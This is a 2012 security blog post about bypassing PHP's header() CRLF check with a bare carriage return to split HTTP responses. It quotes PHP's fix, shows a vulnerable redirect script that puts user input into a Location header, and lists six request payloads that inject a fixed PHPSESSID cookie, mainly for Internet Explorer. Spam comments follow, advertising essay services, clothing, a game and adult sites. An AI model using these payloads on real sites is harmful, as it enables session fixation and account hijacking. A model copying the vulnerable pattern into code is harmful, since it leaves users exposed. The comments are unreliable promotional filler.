четверг, 23 августа 2012 г.

PHP multiple headers bypass available again

Recenlty we wrote about universal PHP bypass for header() function.
That trick is based on %0d byte instead of %0d%0a to split HTTP response.
Bug was fixed as you can see at changelog:
http://php.net/ChangeLog-5.php
Version 5.3.11  
Fixed bug #60227 (header() cannot detect the multi-line header with CR). 
 https://bugs.php.net/bug.php?id=60227 is original bug
And what about fix?

                for (i = 0; i < header_line_len; i++) {
                        /* RFC 2616 allows new lines if followed by SP or HT */
                        int illegal_break =
                                        (header_line[i+1] != ' ' && header_line[i+1] != '\t')                                        && (
                                                header_line[i] == '\n'
                                                || (header_line[i] == '\r' && header_line[i+1] != '\n'));
Pay your attention to red line.

And as we wrote before, bug still available for Internet Explorer.

Source code:
<?php
header("Location: /?asd".$_GET['r']);
?>
Attack vectors:
GET /?r=split%0d+Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%20Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%09Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a+Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a%20Set-cookie:PHPSESSID=predicated HTTP/1.1

GET /?r=split%0d%0a%09Set-cookie:PHPSESSID=predicated HTTP/1.1

13 комментариев:

  1. Этот комментарий был удален автором.

    ОтветитьУдалить

  2. Благодарю. Это действительно очень помогло мне.
    https://errorcheck.net/

    ОтветитьУдалить
  3. Students find Nursing Critical Care Essay Services as being of great assistance since they are able to seek our nursing research paper writing services and nursing essay writing help services on time.

    ОтветитьУдалить
  4. Faisalabad is one of the biggest cities in Pakistan and the hub of the textile industry. It is widely acknowledged as the Manchester of Pakistan due to its large industrial role. The quality of the fabrics produced in this city has no parallel. In fact, the fabric is something of a specialty of Faisalabad. Many people from all over the country flock to this city for a spot of cloth shopping. We aim to provide you all of the best of Faisalabad at our store. buy pakistani lawn suits online , online lawn clothes shopping in pakistan ,

    ОтветитьУдалить
  5. ngobrol games In terms of durability, Tigreal can still lose versus other tanks. But Tigreal was one of the finest for business disruption and crowd management. Tigreal creates fantastic killing opportunities to make a wipe happen in the enemy team with to his slow, stunning and vacuum abilities. Furthermore, Tigreal may easily disturb the core of the opponent from the early game with its lengthy assault distance.

    ОтветитьУдалить
  6. I blog often and I truly appreciate your content.
    야설

    Feel free to visit my blog :
    야설

    ОтветитьУдалить
  7. This great article has truly peaked my interest.
    일본야동
    Feel free to visit my blog : 일본야동

    ОтветитьУдалить
  8. I’m going to bookmark your site and keep checking for new details about once per week.
    국산야동
    Feel free to visit my blog : 국산야동

    ОтветитьУдалить